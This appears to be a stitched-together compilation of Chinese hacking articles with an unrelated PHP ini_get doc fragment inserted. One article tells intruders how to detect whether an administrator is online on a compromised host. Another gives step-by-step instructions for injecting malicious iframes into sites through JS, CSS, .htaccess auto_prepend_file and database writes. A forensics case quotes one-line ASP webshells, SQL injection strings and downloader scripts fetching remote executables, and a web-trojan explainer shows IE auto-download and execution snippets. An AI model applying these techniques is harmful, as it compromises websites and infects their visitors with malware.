如何判定管理员是否在线

Inking注:我喜欢query user,人比较懒,什么方便用什么,而且自己做“坏事”时从来不小心的 ^o^
 
随着网络黑客工具的简单化和傻瓜化,越来越多的网络爱好者可以通过现成的攻击工具轻松的入侵主机,然而谁也不想在管理员的眼皮底下做入侵,所以在入侵成功以后,一个很重要的事情是:你能不能确认你的行为在别人的监视之下?所以我们首先要知道管理员是不是现在正在你入侵的主机上?
如何判定管理员在线,我们要知道的是管理员是通过什么方式管理主机的:是pcanywhere、vnc、DameWar、终端服务、ipc、telnet还是本地登陆···
一、对于用第三方的控屏工具(pcanywhere、vnc、DameWar等),你只要看相应端口有没有状态为"ESTABLISHED"的连接。一个netstat -an就可以知道,如果想查看与端口相关的进程,使用Fport.exe就可以了。比如我们在一台主机上使用netstat -an发现如下的信息:
Active Connections
Proto Local Address Foreign Address State
TCP lin:1755 lin:telnet ESTABLISHED
TCP lin:1756 lin:netbios-ssn ESTABLISHED
TCP lin:1758 202.103.243.105:http TIME_WAIT
TCP lin:1764 202.103.243.105:http TIME_WAIT
TCP lin:6129 lin:1751 ESTABLISHED
使用Fport.exe得到如下的信息:
Pid Process Port Proto Path
528 mysqld-nt -> 3306 TCP D:\mysql\bin\mysqld-nt.exe
1328 DWRCS -> 6129 TCP C:\WINNT\SYSTEM32\DWRCS.EXE ---这个是DameWare Mini Remote Control服务
8 System -> 138 UDP
248 lsass -> 500 UDP C:\WINNT\system32\lsass.exe
------从这个可以看出,管理员是通过DameWare Mini Remote Control来管理现在的主机,连接的端口是6129。同样如果管理员使用其他的控屏工具,比如pcanywhere、vnc我们也是可以通过netstat -an查看端口连接的情况。
 
  二、对于从本地或终端服务登陆的,看看有几个winlogon进程,我们可以使用的工具是PSTOOLS的PULIST.EXE,它能够查看本机的所用正在运行的进程。然后单凭有几个winlogon进程也很难判定在线的是不是管理员,因为一般用户和管理员都是通过图形界面登陆的,身份验证都是在GINA(GINA - Graphical Identification andAuthentication图形标识和身份验证)中进行,而GINA又和Winlogon进程紧密相关,所以查看有几个winlogon进程只能知道当前有几个用户登陆主机。这个办法也是给一个参考而已吧,给一个例子,这样应该好理解一点:
在主机上运行pulist.exe(至于如何才能在主机上运行pulist.exe,我想这个问题也不用说了吧),进程情况:
PID Path
0 [Idle Process]
8 [System]
160 \SystemRoot\System32\smss.exe
184 \??\C:\WINNT\system32\csrss.exe
208 \??\C:\WINNT\system32\winlogon.exe ----这个
680 C:\WINNT\System32\svchost.exe
404 C:\WINNT\Explorer.EXE
1088 \??\C:\WINNT\system32\csrss.exe
1084 \??\C:\WINNT\system32\winlogon.exe ----还有这个
在这个上面我们发现了有二个的winlogon.exe,就可以知道目前有2个用户通过本地或终端服务登陆主机,结合上面说的判定方法,使用netstat 查看TCP端口连接:
Num LocalIP Port RemoteIP PORT Status
10 192.168.0.1 3389 192.168.2.1 1071 Established ----终端的
可以看出使用的是终端3389连接。
 
  三、对于用telnet登陆的,telnet的登陆不是通过winlogon来管理的,还是看相应端口的连接吧,我们知道的是一般情况下telnet使用23端口连接,通过netstat -an可能很清楚的看出23端口有没有打开:
C:\>netstat -an
Active Connections
Proto Local Address Foreign Address State
TCP 127.0.0.1:23 127.0.0.1:1030 ESTABLISHED
TCP 127.0.0.1:1030 127.0.0.1:23 ESTABLISHED
我们也可以通过上面的方法查看相应的进程,比如我们使用FPORT.EXE是得到如下的信息:
E:\HACK>fport
FPort v2.0 - TCP/IP Process to Port Mapper
Copyright 2000 by Foundstone, Inc.
http://www.foundstone.com
Pid Process Port Proto Path
660 inetinfo -> 21 TCP C:\WINNT\System32\inetsrv\inetinfo.exe
1112 tlntsvr -> 23 TCP C:\WINNT\system32\tlntsvr.exe
660 inetinfo -> 80 TCP C:\WINNT\System32\inetsrv\inetinfo.exe
416 svchost -> 135 TCP C:\WINNT\system32\svchost.exe
660 inetinfo -> 443 TCP C:\WINNT\System32\inetsrv\inetinfo.exe
8 System -> 1028 TCP
408 telnet -> 1030 TCP C:\WINNT\system32\telnet.exe
从上面的信息可以知道23端口对应的正是telnet服务tlntsvr.exe。
 
  四、通过IPC$管道进行管理,这个可以通过WINDOWS NT系统内置的工具NET SESSION,它的作用是列出或断开连接本地计算机和与它连接的客户之间的会话。
下面给出一个结果:
E:\HACK>net session
计算机 用户名 客户类型 打开空闲时间
-------------------------------------------------------------------------------
\\LIN LINYUN Windows 2000 2195 0 00:08:47
命令成功完成。
从这个上面我们就可以看出当前有一个用户名为LIYUN的用户登陆主机LIN。在这里给大家推荐一个比较好的工具——PSTOOLS里面的psloggedon.exe,它不仅能列出使用IPC$登陆的用户,而且能列出本地登陆的用户。
E:\Pstools\Pstools>psloggedon.exe
PsLoggedOn v1.21 - Logon Session Displayer
Copyright (C) 1999-2000 Mark Russinovich
SysInternals - _blank>www.sysinternals.com
Users logged on locally:
2004-*-* 14:33:38 LIN\Administrator -----这个是本地登陆的用户administrator
Users logged on via resource shares:
2004-*-* 14:41:04 LIN\LINYUN -----这个是使用IPC$连接的用户LINYUN
 
  如何判定管理员是否在线是一个比较深入的话题,上面说的仅仅是提供一个思路,当然了,如果管理员登陆了,却锁定了主机,或者正在运行屏幕保护程序,这一些就都不好说了!有矛必有盾,我们既然能通过各种的方式判定管理员是不是在线,同样,管理员也能通过这样的途径知道自己是否被入侵,从而尽快的查出入侵者,所以请广大的网络爱好者不要以身试法,入侵国内主机。

突破权限继续挂马

文章作者:Inking
个人主页:http://www.inkings.cn
 
        写这篇文章的目的主要是因为自己在为刚开的博客刷点流量时遇到了点困难,所以就花了点时间想了下这个问题,既然想了下,所以就干脆梳理出来写成文章,也许对刚刚接触这块的同志们会起到点作用吧。
        首先讲一下挂马要挂到哪里。讲到挂马,很多人会不由自主的想到“首页挂马”,一想到首页就想到index.*文件了,当然这不失为一个好办法,首页的浏览量通常是最大的,但是这绝对不是一个最优的办法。也有的人说干脆批量挂马,针对这种思想我无任何话说。我们仔细想一想,哪个东西在网站出现的概率是最大的,呵呵当然是header了(网站的最顶部,通常用于放置logo等),其次便是foot和sidebar了,按照HTML的执行顺序(从上到下),最好的办法就是挂在header里面了,所以挂马时先针对网站的特点,找一个最好的对策来进行挂马。此外像global.*、config.*这类网页文件也是一个好地方,被其他网页调用的概率极大。
 
        解决了挂马地方的问题后我们要着重讨论如何针对管理员设置的权限进行挂马,这些方法很多人应该都在用,我只是针对自己所学的知识进行梳理。一般来说挂马的方式有两种,一种是直接往要挂的网页文件里插入一个iframe标签,还有一种是用js的document.write写入一个iframe标签。我们首先讨论js挂马。js挂马最好的一个优点是隐蔽,因为管理员无法直接通过搜索找到iframe标签,而且我们可以针对插入的js代码进行加密,这样隐藏的效率就更高了。在这篇文章里我们并不是利用js的隐蔽性,而是它的自由性——js可以从任何一个可访问的网站被调用。在我昨天遇到的情况里就是利用这个办法。我想去挂对方的index.php和header.php两个文件,但是发现所以的php脚本文件都被设置了不可改权限,所以直接想改写该文件是不可能了,我只能通过其调用的文件进行挂马。通过阅读源代码,发现程序员调用了很多的js文件,所以我便一个个去找,然后找到两个没有被限定权限的js文件,其中一个文件是站长流量统计的,由于统计代码在整站都是会被调用的,结果改写了仅仅一个js文件,整个网站的所有网页都被挂上去了,而且其它子域的网页也被挂上,当然这几个域的网页是不在这台服务器上的,js的优点瞬间体现了出来。这也是利用了管理员的疏忽——只设定php文件的权限。
 
        联想到我的实例,大家很容易想到类似的方式——css文件。css文件被调用的概率应该说比js还大,一个网站的模型一般只有一个,那么肯定有一个主要的css文件了,而css文件又具有执行js代码的能力,而且这种文件的权限更难被管理员关注到,隐蔽性也非常之好,所以其可行性最高了。css挂马的代码为:
 
body{background:url(javascript:document.write("<iframe></iframe>"))}
 
        代码可以有多种形式,具体大家自己去学习了
 
        但是如果真个目录都被限制了呢,但是我们想到有一个目录一般来说是不会被限制写入权限的——img目录。假如说这个目录里面有flash文件的话,而且这个flash文件又是网站的顶部显示部分,那么我们便可以大喜了。我们可以将flash文件下载下来,然后编辑里面的代码,写入我们的挂马代码,然后替换掉原来的flash文件就行了。具体如何写代码就不讲了。再如果这个网站是一个图片类网站,我们找到某张被下载概率最大的图片,编辑它,插入我们的js代码(当然不是随便插代码就行的,随便插的话图片会无法显示),然后等用户在其它窗口打开图片时我们的js代码就执行了。但是这样的方式并不是很好,一个是窗口存活的时间短,还没等木马被下载窗口已经关闭了,还有一个是被打开的概率不是很大,太被动了。这只是一直思路而已
 
以上都是js或者类似js挂马的方式,大家还可以针对实际情况进行发散。下面是服务端脚本挂马了。最简单的就是看要挂的文件include了哪几个脚本文件,假如说被inlude的文件没有被设权的话可以插入我们的代码,比如PHP的话这样写:
echo "<iframe ></iframe>";
 
        一般来说像global、config这类的文件被其它网页include的概率大,但是像挂这类文件你需要十分小心,因为如果该文件或者include它的文件里面有header或者session操作的话很可能会导致错误,结果被管理员发现了。
 
        但是如果php、asp这类文件像我遇到的情况被设置权限了呢?在php里有一个特性,.htaccess会覆盖apache的php.ini的设置,但是这个需要打开apache的AllowOverride All功能,但是这样对于我们来说太烦了。我们只要在这个网站里面找一下有没有.htaccess文件,如果有的话而且文件夹允许我们上传新的文件,那么我们很可能会成功了。具体的利用如下:
 
在我们电脑上添加一个.htaccess文件(需要dos下对txt文件重命名)
然后用记事本编辑它,写入如下代码:
php_value auto_prepend_file "要include的文件名"
 
然后将这个文件和”要include的文件名”放到相应的目录下,这样该目录以及子目录都被会include该文件。在”要include的文件名”里可以这样写
 
<?
ob_start();//这句话千万不能少,要不很可能会因为head和session而导致错误
echo "<iframe></iframe>";
?>
 
        同样在asp和iis下也有类似方法,参见我的博客:http://www.inkings.cn/blog/?p=106
 
        还有一种方法是直接通过数据库insert或者update一个框架。既然我们一般的入侵方式都是从数据库开始的,这种方式当然是很好的,就算管理员再怎么严格的设定硬盘权限,他也挡不住数据库里的内容。我们可以到首页看一下,找到一篇文章ID,然后update进去一个框架,具体如何update那是你自己的事情了呵呵。

真实的网络攻击取证纪实

 
作者:诚信网安--子明
随着信息技术的发展,越来越多的人都喜欢用计算机办公,发邮件,建设自己的个人站点,公司建立自己的企业站点,政府也逐渐的采取了网上办公,更好的为人民服务,银行和证券机构也都开始依托互联网来进行金融和股票交易,但是随着方便的同时也同时带来了新的一些计算机网络安全隐患,随着司法机关的介入,我相信在不久的将来,网络攻击调查取证也会成为立法机构必须要考虑设立的一门新的学科,目前来说开设这个的课程多在网络警察和一些特殊机关,现在我来给大家讲下我亲身经历并参与完成的一次取证过程,用事实来讲述;
我一直从事病毒分析,网络攻击响应相关的工作,这次应好朋友的邀请,帮忙配合去协查几台服务器,我们来到了某XXX驻地,首先进行例行检查。经过了 1天左右的时间的检查,其中用到了一些专用设备也包含自主编写的工具以及第三方提供的勘察取证软件,共发现问题主机服务器10台,其中2台比较严重,(以下用A服务器和B服务器来代替)和朋友商定后,决定带回我们的实验室,进行专项深入分析。
习惯的检查步骤操作:
服务器操作系统版本信息——>操作系统补丁安装情况——>操作系统安装时间,中间有没有经过进行重新安装——>服务器维护情况——>服务器上面安装的软件版本信息
日志检查——IDS日志信息/IIS日志信息/系统日志信息
网站代码审查——是否存在一句话木马,源代码上是否存在恶意代码插入
杀毒软件版本更新情况——是否是最新版本,配置的是否合理,配套的监视是否全部打开
数据恢复——>利用专用数据恢复软件进行数据恢复,恢复一些被删除的日志信息和系统信息,曾经安装过的文件操作信息。
提取可疑文件(病毒、木马、后门、恶意广告插件)——在系统文件目录利用第三方或者自开发软件,对可疑文件进行提取并进行深度分析。
上述步骤是我个人总结的,有不妥的地方还请朋友们指正,介绍完理论,我们来实践处理下这两台服务器。
A服务器检查处理过程
该A服务器所装的操作系统是Advanced 2000 server,服务器上安装的有瑞星2008杀毒软件,病毒库已经更新到最新版本。但是并没有安装网络防火墙和其他系统监视软件,安装的ftp服务器版本为server-u 6.0(存在溢出攻击的威胁)
 
一、对原始数据进行恢复
利用Datarecover软件来恢复一些被删除的文件,目的是希望从被删除的文件来找出一些木马或者后门以及病毒。进行深度分析,把曾经做过的格式化,以及在回收站中删除过的文件恢复过来,但是遗憾的是成功拿下这台服务器权限的黑客已经做了专业处理,把他的一些痕迹进行了全面清理,个人认为他使用了日本地下黑客组织开发的专项日志清除工具,经过我和助手的共同努力还是把系统日志恢复到当年5月份。
 
二、手工分析可疑文件
在本服务器的c盘根目录下面有一个sethc..exe 文件。这个文件是微软自带的,是系统粘制键,真实的大小应为27kb,而这个文件为270kb,起初我以为是由于打补丁的原因。但是经过翻阅一些资料和做比对之后,才知道这样的文件是一个新开发的流行后门,主要用法:通过3389终端,然后通过5次敲击shift键,直接调用sethc.exe而直接取得系统权限。随后达到控制整个服务器,通常他还是通过删除正常的一些c盘exe文件。然后把自己伪造成那个所删除的exe文件名。造成一种假象。
这里我们提供解决方法如下:个人建议这个功能实用性并不高,建议直接删除这个文件,如果有人利用这个手法来对你的服务器进行入侵,那就肯定是有人做了手脚,可以第一时间发现黑客入侵行为,也可以作为取证分析的一个思路;在控制面板的辅助功能里面设置取消粘制键。
 
三、 利用专用防火墙检查工具去查看网络连接情况
目的是通过抓数据包来找出问题。如果对方安装的有远程控制终端,他肯定需要让保存在服务器上的后门和控制终端进行通话,会有一个会话连接。通过防火墙的拦截功能而去寻找出控制的源头。这个上面没有发现存在反弹木马,所以没有看到入侵的源头。
 
四、检查系统日志
作用:检查系统日志是否被入侵者清除,如果日志被入侵者删除,需要用数据恢复软件恢复操作系统日志
检查内容:主要包括IIS日志,安全性日志,系统日志。
 
更近一步深入检查:
找到日志后,仔细分析网站是否有入侵者留下的webshell,尤其是一句话后门
根据Webshell的名字, 在IIS 访问日志里搜索相关的名字,找到入侵者常用的ip地址,分析ip地址
还可以根据此IP地址检索IIS日志中,此入侵者都进行过什么样的操作
 
技术点滴:如果你比较熟悉Webshell,通过Get操作可以知道入侵者都进行过何种操作。因为Get操作是被系统记录的。
如果入侵者装有系统级的后门,用常用工具比如冰刃(IceSword),System Repair Engineer (SREng)等分析出可疑文件,用其他调试工具分析找到入侵者控制端IP地址。
 
通过服务器日志查出隐藏在后面的幕后黑客
通过iis的log访问日志,排查出三个可疑目标,其中一个手法相对于后两个入侵者更熟练一些,他在今年5月份左右或者更早就拿到了该服务器权限,上来之后到是没有做任何的添加和修改,从技术上来看,他是通过寻找网站的注入点进来的,然后在上面放了不少的后门,还放了一个mm.exe的文件,但是因为技术问题,没有把这个马运行起来,从外部访问只是在主页上显示为mm.jpeg,伪装成了图片。但是打开以后,什么都没有。经过我们分析以后,它是一张裸女的 jpeg文件。如果他这个mm.exe成功,完全有可能将该主站页面换成一张黄色图片。危害还是有的。另外该站点权限给的过高,在访问新闻频道的时候,直接就是sa权限。这个是最高系统级和Admin是一个级别的。
由于服务器被网管人员重新装过,初步怀疑是用的ghost安装的,造成了原珍贵日志数据无法找回,我们只能分析出7月份-12月份这段时间的日志,通过这些日志我们又发现了针对此站点的入侵记录。
入侵者操作再现:(黑客入侵操作过程分析)
2007-07-15 14:51:53 61.184.107.206 添加管理用户 net localgroup administrator Cao$ /add
2007-07-15 15:08:56 61.184.107.206 写下载exe的vbs脚本 c:\admin.vbs 试图下载exe地址为:http://www.dianqiji.com/pic/2007/0428/admin.exe
2007-08-12 09:48:45 218.205.238.6 写入webshell小马:d:\ybcenter\gg3.asp shell里留的QQ:183037,之后此人频繁用此后门登陆服务器
2007-08-25 08:03:15 218.28.24.118 曾访问他以前留下的操作数据库的webshell /system/unit/main.asp 此后门可以浏览到敏感数据库的信息
2007-08-25 08:12:45 218.28.24.118 写入另一个webshell D:\ybcenter\ggsm.asp
之后,218.28.24.118用以前留下的功能比较全的webshell /Cnnsc.asp和/system/unit/Cnnsc.asp频繁操作服务器上文件
2007-11-11 14:23:23 218.28.24.118 用他曾经留下的操作数据库的后门/service/asp.asp访问敏感数据库的信息
2007-08-25 08:27:57 218.28.24.118 用他曾经留下的操作数据库的后门/system/unit/sql.asp访问敏感数据库的信息
2007-11-11 11:02:55 218.28.24.118 试图访问他曾经留下的操作数据库的后门/yb/in_main3.asp访问敏感数据库
2007-08-06 12:42:41 218.19.22.152 写下载脚本C:\down.vbs 下载的exe为http://ray8701.3322.org/1.exe
2007-08-09 11:57:16 218.19.98.147 写ftp下载exe的脚本c:\zxq.txt ftp服务器203.253.31.244 用户名kick1000 密码84460965 下载1.exe
2007-08-26 07:43:47 123.5.57.117 试图攻击服务器
2007-08-26 07:43:47 123.5.57.117 写ftp下载exe的脚本c:\zxq.txt ftp服务器203.253.31.244 用户名kick1000 密码84460965 下载1.exe
2007-12-10 12:41:34 123.52.18.141 检测注入
 
五、查看登陆信息 查看是否存在有克隆帐户
方法:检查注册表里面的sam文件有没有相同的fv,在这里检查过程中没有发现存在有克隆帐号。
 
六、查看系统安装日志,在这里并未发现问题
 
七、 查看IIS访问日志,在这里发现了攻击者信息
2007-12-01 08:55:16 220.175.79.231 检测注入
2007-12-03 18:40:48 218.28.68.126 检测注入
2007-12-04 01:31:32 218.28.192.90 检测注入,扫描web目录
2007-12-04 23:23:33 221.5.55.76 检测注入
2007-12-05 09:20:57 222.182.140.71 检测注入
2007-12-08 09:39:53 218.28.220.154 检测注入
2007-12-08 21:31:44 123.5.197.40 检测注入
2007-12-09 05:32:14 218.28.246.10 检测注入
2007-12-09 08:47:43 218.28.192.90 检测注入
2007-12-09 16:50:39 61.178.89.229 检测注入
2007-12-10 05:50:24 58.54.98.40 检测注入
定位可疑IP地址,追踪来源 查出IP地址的信息。
 
八、查看网站首页的源代码。
在iframe 这个位置查看是否有不属于该网站的网站信息。(查找 网马的方法),以及如何发现一些潜在的木马和网络可利用漏洞。
下面是我们得到的一些他的网马。
gg3.asp Q:183637
log.asp
pigpot.asp
webdown.vbs
attach/a.gif
attach/chongtian.gif
attach/111.rar
system/unit/yjh.asp
system/unit/conn.asp 加入防注入
Q:6242889678
images/mm.jpg = exe自解压 主页包含文件
一句话木马:
<%execute request %>
备份一句话木马
<%eval(request("a"):response.end%>
注射检查,在IIS里面查找是否存在的有针对
%20 and 1=1’sql
'or'='or' a'or'1=1-- ,'or1=1-- ,"or1=1-- ,or1=1--, 'or'a'='a, "or"="a'='a

作用:躲避验证信息 主要用在后台登陆上
%5c 爆数据库,作用直接下载服务器上的数据库,获得用户名和密码,经过系统提权而拿到整个服务器权限。
针对一些下载者这样的木马,主要需要在windows /document and setting下面的local setting 的 temp 或者 temp internet的这个文件夹中查看刚生成的exe文件,重点查看一下在system32文件夹下面的exe文件,尤其关注最新生成的exe文件,伪造的系统文件等。
以上就是针对A服务器的整个检查过程以及发现问题后该如何处理和补救的相关解决方法。
B服务器检查取证分析
B服务器装的是windows2000 server版本,操作步骤同上。
经过一段细心的检查还是让我和助手们发现了一个木马,起因是在网站源代码处发现都被插入了一些奇怪的代码,在system32系统文件夹下还发现了新的niu.exe,非常可疑,提取该exe文件,在虚拟机中进行分析,得出该exe工作原理:
该exe 属木马类,病毒运行后判断当前运行文件的文件路径如果不是%System32%\SVCH0ST.EXE,将打开当前文件的所在目录复制自身到% System32%下,更名为SVSH0ST.EXE,并衍生autorun.inf文件;复制自身到所有驱动器根目录下,更名为niu.exe,并衍生 autorun.inf文件,实现双击打开驱动器时,自动运行病毒文件;遍历所有驱动器,在htm、asp、aspx、php、html、jsp格式文件的尾部插入96个字节的病毒代码;遍历磁盘删除以GHO为扩展名的文件,使用户无法进行系统还原;连接网络下载病毒文件;修改系统时间为2000 年;病毒运行后删除自身。
以上是我配合有关部门参与的真实的一次的取证记录,因为答应过朋友要保守秘密,所以真实的一些ip地址和信息这里都做保留。同时在这里我要感谢安天cert组的战友的帮忙,以及身边的2个助手的并肩作战。

获取php.ini设置变量

 ini_get
(PHP 4, PHP 5)

ini_get -- Gets the value of a configuration option


说明


string ini_get( string varname )


Returns the value of the configuration option on success.

 

参数
varname
The configuration option name.


返回值
Returns the value of the configuration option as a string on success, or an empty string on failure.

 

范例
例 1. A few ini_get() examples



 

上例的输出类似于:

display_errors = 1
register_globals = 0
post_max_size = 8M
post_max_size+1 = 9
post_max_size in bytes = 8388608 

国内资深安全专家详谈网页木马

诚信网安--子明
【51CTO.com 专家特稿】当今网络,反病毒软件日益增多,使用的反病毒技术越来越先进,查杀病毒的能力逐渐提高,但病毒制作者并不会罢休,反查杀手段不断升级,新的病毒层出不穷,形式也越来越多样化,为了躲避查杀,病毒自身的隐蔽性越来越高,针对反病毒软件对传统的病毒传播途径的监控能力提高,造成病毒传播困难的问题,越来越多的病毒,利用多数反病毒软件产品对恶意脚本监控能力的缺陷,开始利用网页木马这一危害面最广泛,传播效果最佳的方式来传播。
一 、什么是网页木马
网页木马是利用网页来进行破坏的病毒,它包含在恶意网页之中,使用脚本语言编写恶意代码,依靠系统的漏洞,如IE浏览器存在的漏洞来实现病毒的传播。当用户登陆了包含网页病毒的恶意网站时,网页木马便被激活,受影响的系统一旦感染网页病毒,就会遭到破坏,轻则浏览器首页被修改,标题改变,系统自动弹出广告,重则被装上木马,感染病毒,使用户无法进行正常的使用。甚至会引起系统崩溃,敏感信息丢失等严重后果。由于脚本语言易于掌握,所以网页木马非常容易编写和修改,造成很难提取特征值,增加了杀毒软件查杀以及用户预防的困难。
目前的网页木马都是利用脚本语言、ActiveX、WSH等来实现对客户端计算机的远程操作,如改写注册表,添加、删除、更改文件夹等操作。网页病毒可以以此来达到传播的目的。
1.利用WSH(Windows Scripting Host Object Reference)等系统控件
WSH,是“Windows Scripting Host”的简称,可以直译为“Windows 脚本宿主”。在Windows系统中会默认安装,它是内嵌于 Windows 操作系统中的脚本语言工作环境。
Windows Scripting Host 这个概念最早出现于 Windows 98 操作系统。微软在研发 Windows 98 时,为了实现多类脚本文件在 Windows 界面或 Dos 命令提示符下的直接运行,就在系统内植入了一个基于 32 位 Windows 平台、并独立于语言的脚本运行环境,并将其命名为“Windows Scripting Host”。WSH 架构于 ActiveX 之上,通过充当 ActiveX 的脚本引擎控制器,WSH 为 Windows 用户充分利用威力强大的脚本指令语言扫清了障碍。
WSH也有它的不足之处,任何事物都有两面性,WSH 也不例外。WSH 的优点在于它使用户可以充分利用脚本来实现计算机工作的自动化;但也正是它的这一特点,使系统存在了安全隐患。计算机病毒制造者用脚本语言来编制病毒,并利用 WSH 的支持功能,让这些隐藏着病毒的脚本在网络中广为传播。借助WSH的缺陷,通过JAVAScript,VBScript,ActiveX等网页脚本语言,可以改动受影响系统的注册表,利用服务器端脚本程序如:ASP,PHP等来记录访问网页者的相关信息,浏览之后,系统目录被完全共享;IP地址、访问时间、操作系统名称会被网页木马所记录,造成敏感信息的泄露。
2.Microsoft Internet Explorer等浏览器存在漏洞
3.脚本语言
用JAVA编制的脚本语言主要是Java Applet和Java Script。Applet是Java编写的小应用程序,不能独立运行,需要嵌入HTML文件,遵循标准,在支持Java的浏览器(如Microsoft Internet Explorer) 上运行,是Java一个重要的应用分支,它改变了传统网页呆板的界面,在WWW网页(Home Page / Pages)设计中加入了动画、影像、音乐等元素。
JavaScript是一种基于对象(Object)和事件驱动(Event Driven)并具有安全性能的脚本语言。使用它的目的是与HTML超文本标记语言、与Web客户交互作用。从而可以开发客户端的应用程序等。它是通过嵌入或文件引用在标准的HTML语言中实现的。它的出现弥补了HTML语言的缺陷,它是Java与HTML折衷的选择,具有基于对象、简单、安全、动态、跨平台性等特性。
ActiveX是Microsoft提出的一组使用COM(Component Object Model,部件对象模型)使得软件部件在网络环境中进行交互的技术。它与具体的编程语言无关。作为针对Internet应用开发的技术,ActiveX 被广泛应用于WEB服务器以及客户端的各个方面。同时,ActiveX技术也被用于方便地创建普通的桌面应用程序。在Applet中可以使用 ActiveX技术,如直接嵌入ActiveX控制,或者以ActiveX技术为桥梁,将其它开发商提供的多种语言的程序对象集成到Java中。与 Java的字节码技术相比,ActiveX提供了“代码签名”(Code Signing)技术保证其安全性。
造成网页病毒传播和形成的主要原因,是因为Windows操作系统以及Microsoft Internet Explorer等浏览器存在漏洞。
二、网页木马的攻击原理
网页木马实际上是一个HTML网页,与其它网页不同的是该网页是黑客精心制作的,用户一旦访问了该网页就会中木马。为什么说是黑客精心制作的呢?因为嵌入在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞,让IE在后台自动下载黑客放置在网络上的木马并运行(安装)这个木马,也就是说,这个网页能下载木马到本地并运行(安装)下载到本地电脑上的木马,整个过程都在后台运行,用户一旦打开这个网页,下载过程和运行(安装)过程就自动开始。
打开一个网页,IE浏览器不会自动下载程序和运行程序,这是因为,为了安全,IE浏览器是禁止自动下载程序特别是运行程序的,但是,IE浏览器存在着一些已知和未知的漏洞,网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。下面列举一些IE浏览器等存在的漏洞来分别说明为什么利用网页木马可以下载程序和运行程序。
1.下载可执行文件.
index里有一个代码漏洞<LINK href="ray.exe" rel=stylesheet type=text/css>,IE会把可执行文件误认为CSS样式表而下载到IE的临时文件目录.
也可以利用<SCRIPT LANGUAGE="icyfoxlovelace" src="http://test.net/1.exe"></SCRIPT>这段代码,把这段代码插入到网页源代码的</BODY>…</BODY>之间,运行后就会发现在IE的临时目录Temporary Internet Files下,已经下载了1.exe这个病毒文件。
2.自动运行程序
<SCRIPT LANGUAGE="javascript" type="text/javascript"> var shell=new ActiveXObject("shell.application"); shell.namespace("c:\\Windows\\").items().item("Notepad.exe").invokeverb(); </SCRIPT>
把这段代码插入到网页源代码的</BODY>…</BODY>之间,然后用IE打开该网页,这段代码可以在IE中自动打开记事本。
这段代码使用了shell.application控件,该控件能使网页获得执行权限,替换代码中的“Notepad.exe”(记事本)程序,就可以用它自动运行本地电脑上的任意程序。
通过以上的例子可以看出,利用IE的漏洞,在网页中插入相关的代码,IE完全可以自动下载和运行程序。
三、可能被网页木马利用的漏洞
1.利用URL格式漏洞
此类网页木马是利用URL格式漏洞来欺骗用户。构造一个看似JPG格式的文件诱惑用户下载,但事实上用户下载的却是一个EXE文件。
此类攻击,具有相当的隐蔽性,利用URL欺骗的方法有很多种,比如起个具有诱惑性的网站名称或使用易混的字母数字掉包进行银行网络钓鱼,还有漏洞百出的“%30%50”之类的Unicode编码等等,现在列举比较常见的几种方法:
(1).@标志过滤用户名的解析
本来@标志是E-mail地址的用户名与主机的分隔符,但在URL中同样适用,而且功能如出一辙。HTTP(超文本传输协议)规定了URL的完整格式是“Http://Name:Password@IP地址或主机名”,其中的“IP地址或主机名”是必填项。@标志与其前面的“Name: Password”,意为“用户名:密码”,属于可选项。也就是说,在URL中真正起解析作用的网址是从@标志后面开始的,这就是欺骗原理。
比如用户访问“Http://www.sina.com@www.Trojan.com.cn/HuiGeZi_Server.exe”,从表面上看,这是新浪网提供的一个链接,用户会认为这是一个无害的链接,而点击,而实际上 “www.sina.com”只是个写成新浪网址形式的用户名(此处的密码为空),因为后面有@标志。而真正链接的网址却是 “www.Trojan.com.cn/HuiGeZi_Server.exe” 也就是说这个发来的URL地址其实完全等同于“Http://www www.Trojan.com.cn/HuiGeZi_Server.exe,而与前面的用户名毫无关系,只是迷惑性可就大大提高了。即使没有这个用户名,也完全不影响浏览器对URL的解析。
(2).十进制的IP地址
常见的IP地址包括四个字节,一般表示形式为“xxx.xxx.xxx.xxx”(x表示一个十进制数码),例如“61.135.132.12”。因为数字IP地址较长,且过于抽象、难以记忆,所以采用域名服务DNS来与之对应。在浏览器地址栏中输入“Http://www.sohu.com”与 “Http://61.135.132.12”的结果完全一样,都是访问搜狐网站,因为61.135.132.12就是搜狐域名www.sohu.com的IP地址。不过,用Http://1032291340访问的话,仍然可以打开搜狐网站,这是因为,四位点分十进制形式的IP地址“61.135.132.12”代表一组32位二进制数码,如果合在一起再转换成一个十进制数的话,答案就是1032291340。转换方法,就是数制的按权展开:12×2560+132×2561+135×2562+61×2563 =12+33792+8847360+1023410176=1032291340(基数为256,即28)。在上文的例子中提到了 “www.Trojan.com.cn/HuiGeZi_Server.exe”。这种字母域名有时还能被用户识破,而在把它对应的IP地址(假设为 “61.135.132.13”)换算成一个十进制数后,结果是1032291341,再结合@标志过滤用户的解析,就会变成Http://www.sina.com@1032291341这样的地址,这样就更加隐蔽了。
(3).虚假的网址,网络钓鱼者注册一个域名和真实网站域名十分相似的网址,其用户界面也和真实网站页面非常相似,然后不URL提供给用户,那么一般的用户被引导到这样的虚拟网址上是难以察觉的,攻击者也就可以利用该网页来诱导用户输入自己的个人身份信息,达到窃取的目的,例如真实网站域名是www.lovebank.xxx,伪造网站域名是www.1ovebank.xxx,一个是小写的"L",一个是数字"1",域名服务器将解析到完全不同的IP地址上,但用户很难看出来。再如真实网站的域名是www.xxx.xxx.cn,而虚假网站使用域名www.xxx.xxx,很多人也无法判断
(4).更隐蔽的方法,是根据超文本标记语言的规则,可以对文字制作超链接,这样就使网络钓鱼者有机可乘。例如文件源代码可以写成:"<A HREF=http://www.xxxbank.com.cn>http://www.xxbank.com.cn</A>"。这样,屏幕上显示的是xxxbank的网址,而实际却链接到了xxbank的虚假网站。
(5).采用伪装手段。可以在浏览器打开虚假网站的时候,弹出一个很隐蔽的小图像,正好覆盖在浏览器显示网址的地方,该小图像显示被仿冒的网站的真实域名,而浏览器真正访问的地址被掩盖在下面。
(6).虚假的弹出窗口。一些虚假网站会将用户转移到真实的网址,但是转移之前制造假冒的弹出窗口,提示用户进行个人登陆的操作,很多用户会误认为这些弹出窗口是网站的一部分而进一步按照提示操作,直到透露出自己的个人身份信息。
(7).可以利用浏览器漏洞窃取个人信息,如IE就曾暴露出一个漏洞,该漏洞使攻击者可以在垃圾邮件中构造一种数据,用户点击后便可使IE浏览器显示的网址与实际访问的网址不同。采用这种方式进行攻击,欺骗性更好,可以通过向用户发送包含URL的垃圾邮件的方式,诱骗用户点击,用户如果不检查邮件的原始代码,根本无法知道自己被浏览器欺骗了。
